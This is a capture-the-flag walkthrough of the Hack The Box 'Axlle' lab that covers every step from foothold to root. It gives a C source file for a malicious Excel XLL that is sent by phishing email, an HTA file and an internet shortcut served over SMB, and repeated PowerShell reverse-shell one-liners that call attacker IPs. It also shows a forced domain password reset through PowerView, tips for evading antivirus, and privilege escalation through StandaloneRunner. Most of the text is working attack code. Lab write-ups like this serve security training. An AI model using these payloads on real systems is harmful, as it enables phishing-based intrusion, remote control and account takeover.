Hack-The-Box HTB Axlle Walkthrough -1

Hack-The-Box (HTB) Axlle lab is a Lab that has LDAP ACTIVE directory which can be exploited. It’s difficulty is Hard. Below is the steps to solve the lab.

Nmap scan

Add host machine to /etc/hosts

sh -c ‘echo “10.10.11.21 axlle.htb” >> /etc/hosts’

Open Host On Browser

There is no interesting thing on the browser except an information that said

“Our website is currently down for maintenance.

We apologise for the inconvenience and appreciate your patience as we work to improve our online presence.

If you have any outstanding invoices or requests, please email them to accounts@axlle.htb in Excel format. Please note that all macros are disabled due to our security posture.

We will be back as soon as possible. Thank you for your understanding.”

Now lets Begin

FootHold

So If Excel or the underlying OS permits any external communication, we might encode a reverse shell within a DDE payload or a crafted hyperlink formula that points to our external server machine which we control. However, we’d need to configure a listener on our end to capture the connection. To achieve this we can do some social engineering (phishing) compiling an exploit using a C language and attaching our reverse shell in it.   

Step 1:

Compile a C code containing an exploit and a reverse shell to send via email to attacker machine

Reference: https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xll-exec

here is the C code containing the exploit with this below. Rename it to any name of choice with the extension .c
Change my IP address to yours and the port to what you want, and set a Netcat listener to that port.

#include <windows.h>

__declspec(dllexport) void __cdecl xlAutoOpen(void);

void __cdecl xlAutoOpen() {
// Triggers when Excel opens
WinExec(“powershell -nop -W hidden -noni -ep bypass -c \”$TCPClient = New-Object Net.Sockets.TCPClient(‘10.10.16.36’, 1234);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + ‘SHELL> ‘);$StreamWriter.Flush()}WriteToStream ”;while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead – 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\””, 1);
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

OR USE THIS BELOW CODE

#include <windows h>

__declspec(dllexport) void __cdecl xlAutoOpen(void); void __cdecl xlAutoOpen() { // Triggers when Excel opens WinExec(“powershell -nop -W hidden -noni -ep bypass -c \”$TCPClient = New-Object Net.Sockets.TCPClient(‘10.10.14.137’, 9001);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + ‘SHELL> ‘);$StreamWriter.Flush()}WriteToStream ”;while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead – 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\””, 1); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

Open the listener on the port 9001
nc -lvnp 1234

Step 2:

Create a Type of Dynamic Link Library file for excel which is a .xll file because it was specified in the website that Any receipt or email with attachment should come in excel format, so we will leverage the scope with our payload which we first created and encode it as the .xll file

x86_64-w64-mingw32-gcc -shared -fPIC -o trustthis.xll reverseshell.c

The first flags (-fPIC) are for DLL and then it outputs a trustthis.xll file

Step 3:

send the email

send the email and you’ll get a revserse shell connection on the listener you opened initially.

swaks –from sheltCP1@axlle.htb –to account@axlle.htb –body “Hello” –header “Hello” –attach @trustthis.xll

Result from the Shell gotten from email sent.

Step 4:

Lateral Movement

Now you should move laterally, you can perform bloodhound-python,
There’s an email that says you can place any web shortcuts you want into the c:\inetpub\testing folder (because there’s an automation).

Step 5:

C:\ cd \inetpub\testing
So you should create this Internet Shortcut with the filename shortcut.url in your attacking machine and share it to the target reverseshell in the c:\inetpub\testing directory using the python server on attacking machine, and wget or curl on target machine to download the shortcut.url on the target machine.

[InternetShortcut]
URL=file://10.10.16.36/share/exploit.hta

NOTE: Antivirus could delete the shortcut.url from the victim machine, so you’ll have to be fast while downloading the shortcut file on target machine, you could also create the .hta file first the open impacket-smbserver and listener before sharing the shortcut.url file to the shell.

or

User Flag –

Step 6:

Create a HTML malicious exploit.hta file on your attacking machine. I know you asking What is this HTA file all about?. An exploit.hta file is a malicious file in the HTML Application (HTA) format, designed to exploit vulnerabilities in a target system. HTA files are executable scripts, often written in VBScript or JavaScript, that run with full permissions on Windows systems, making them potentially dangerous if misused. Now another use of .HTA exploit files, Attackers use .hta files as payloads to deliver malicious code or trigger specific exploits, such as executing system commands, downloading additional malware, or gaining unauthorized access. You can open the download menu below to copy the code. I attached the document below on the website here because the system was detecting it as a malware code. So let’s use the exploit.hta file to see if we can use it to gain unauthorized access.

hta-docDownload

So the HTA file which you will create, the bot automated on the account will retrieve it from the attacking machine. Create the exploit.hta file on the attacking machine and bind it with a PowerShell reverse shell embedded and open an impacket-smbserver on the same directory where the exploit.hta file is located. Make sure to name it exploit.hta or any other of your choice, but due to I named it exploit.hta in my shortcut.url file that is why i named my own file exploit.hta. Also Below is the .hta exploit code if you can’t download it.

<html>

<head>

<HTA:APPLICATION ID=”shell”>

<script language=”javascript”>

 var c = “powershell -nop -W hidden -noni -ep bypass -c \”$TCPClient = New-Object Net.Sockets.TCPClient(‘10.10.16.36’, 4442);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + ‘SHELL> ‘);$StreamWriter.Flush()}WriteToStream ”;while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead – 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\””;

 new ActiveXObject(‘WScript.Shell’).Run(c, 0, true);

</script>

</head>

<body>

<script>self.close();</script>

</body>

</html>

Step 7:

Open an impacket-smbserver on the folder where the .hta is located.

impacket-smbserver -smb2support share .

Step 8:

Also Open a listener on port 4442 as described in the exploit.hta file

nc -lvnp 4442

And you should get a shell as Dallon.Matrix, which has the user.txt flag on the dallon.matrix Desktop.

once you get shell as dallon.matrix, you can do

Get-ChildItem -Path \Users\Dallon.Matrix\ -Filter user.txt -Recurse to get the userflag asap

If you’re not getting any request at all on the impacker server , there’s a problem with the shortcut.url or antivirus has deleted it.

In order for the AV to not detect it, you’ll need to write it directly on the victim machine inside the c:\inetpub\testing directory by writing this below on the c:\inetpub\testing directory

set-content -path “c:\inetpub\testing\shortcut.url” -value “[InternetShortcut]’r‘nURL=file://10.10.16.36/share/exploit.hta”

It has absolute paths. Don’t forget to set your Netcat as set in your .hta file and you will get some output in the impacket-… log and you will get also a connection back once you put the shortcut.url in that specific directory inetpub\testing

cat users/dallon.matrix/Desktop/user.txt

Step 9:

Now we got user flag, we don’t know what else to do from here, so let’s try and utilize the windows reconnaissance tool powerview for active directory enumeration, assessment, privilege escalation and many more on windows and see if we can query the system extensively and gather data’s like users, groups, units, computers within the active domain. e.t.c

Download PowerView.ps1

you can download on your attacking machine and share to your victim/target machine.

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

PowerSploit/Recon/PowerView.ps1 at master · PowerShellMafia/PowerSploit
github.com

Step 10:

Now let’s import/run the powerview module in the directory where you downloaded the powerview.ps1 on target shell dallon.matrix. Now let me explain why we need to run this. Running Import-Module .\PowerView.ps1 on a Windows machine loads the PowerView script as a module in the current PowerShell session. It also loads all functions and cmdlets defined in the PowerView.ps1 script into the current PowerShell environment, making them available for use as if they were native PowerShell commands. After importing, you can use any of PowerView’s functions (e.g., Get-DomainUser, Get-NetComputer, Find-LocalAdminAccess, etc.) directly in the PowerShell session.

import-module .\PowerView.ps1

https://github.com/nasbench/Misc-Research/blob/main/LOLBINs/StandaloneRunner.md#putting-everything-together

Misc-Research/LOLBINs/StandaloneRunner.md at main · nasbench/Misc-Research

After running the imports I got domain user credential named Jacob.Green with his password. So let’s set the password now active on the active domain.

Step 11:

Setting credentials for jacob greeny

Enter this in your dallon.matrix shell, please note i just numbered the steps, the $ sign is with the Password, do not exclude it. you can change the ‘verySecurePassword121!’ to your own password.

1. $Password = ConvertTo-SecureString ‘verySecurePassword121!’ -AsPlainText -Force
2. Set-DomainUserPassword -Identity Jacob.Greeny -AccountPassword $Password

Root Flag –

Step 12:

Logging in as Jacob Greeny on your terminal

evil-winrm -i 10.10.11.21 -u Jacob.Greeny -p verySecurePassword121!

Step 13:

create a directory with the name work in greeny directory

mkdir work

Step 14:

create another directory inside the work directory and name it myTestDir

mkdir myTestDir

Step 15:

Create another file in the work directory and name it reboot.rsf

Type the below content in the reboot.rsf file

myTestDir
True

You can achieve that by typing this below on the shell

echo myTestDir True > reboot.rsf

confirm that the file has been created by doing

ls and cat as seen below

Step 16:

create an empty directory in the myTestDir and name it working

cd \work\myTestDir\working

Step 17:

create an empty file in the working directory and name it rsf.rsf

To create the file

echo > rsf.rsf

cd \work\myTestDir\working\

Step 18:

Create a PowerShell reverse shell command file and name it command.txt file in your attacking machine and share it with the work directory on the target machine.

On attacking machine
nano command.txt then write these command, make sure to change the IP and port of your choice.

powershell -nop -W hidden -noni -ep bypass -c “$TCPClient = New-Object Net.Sockets.TCPClient(‘10.10.16.36’, 4443);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + ‘SHELL> ‘);$StreamWriter.Flush()}WriteToStream ”;while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead – 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()”

then open

python3 -m http.server 8000

in thesame directory where the command.txt is located.

on target machine

cd work

wget http://10.10.16.36:8000/command.txt -o command.txt

Step 19:

Open a Listener on your attacking machine port you specified in the command.txt file

nc -lvnp 4443

Step 20:

Verification

• Verify that you have the 3 directories/files on work directory on the target machine.
• Cat the reboot.rsf to see you have the content inside the file
• Confirm you have another directory inside the myTestDir which is named working
• Verify that you have a file named rsf.rsf inside the working directory.
• Verify you have the command.txt file in your work directory on target machine.

Step 21:

Copy the content of the work directory to C the local program file.

Evil-WinRM PS C:\Users\jacob.greeny> cp -r .\work* C:\”Program Files (x86)”\”Windows Kits”\10\Testing\StandaloneTesting\Internal\x64\

  Copy-Item(cp): The PowerShell command for copying files and directories.

  -Path .\work*: Specifies the source, where .\work* matches files or directories in the current directory that start with “work.”

  -Destination (C:\”Program Files (x86)”\”Windows Kits”\10\Testing\StandaloneTesting\Internal\x64\: Specifies the target directory. Make sure the path is enclosed in quotes if it contains spaces.

  -Recurse(-r): Copies all items, including any subdirectories within the .\work* directory.
Note: You have to cd to jacob.greeny to copy the work directory contents as shown below.

Step 22:

Go to your listener port 4443 and wait for atleast 60seconds to get shell as administrator. Then go to the C:\Administrator\Desktop to see your root Flag.

And We got the root flag.

Thank you
CC: Promise Charles

Hack The Box: SheltCP1
TryHackMe: officialspeck
Medium: The Cyb3r-Gi_iy
LinkedIn: Promise Charles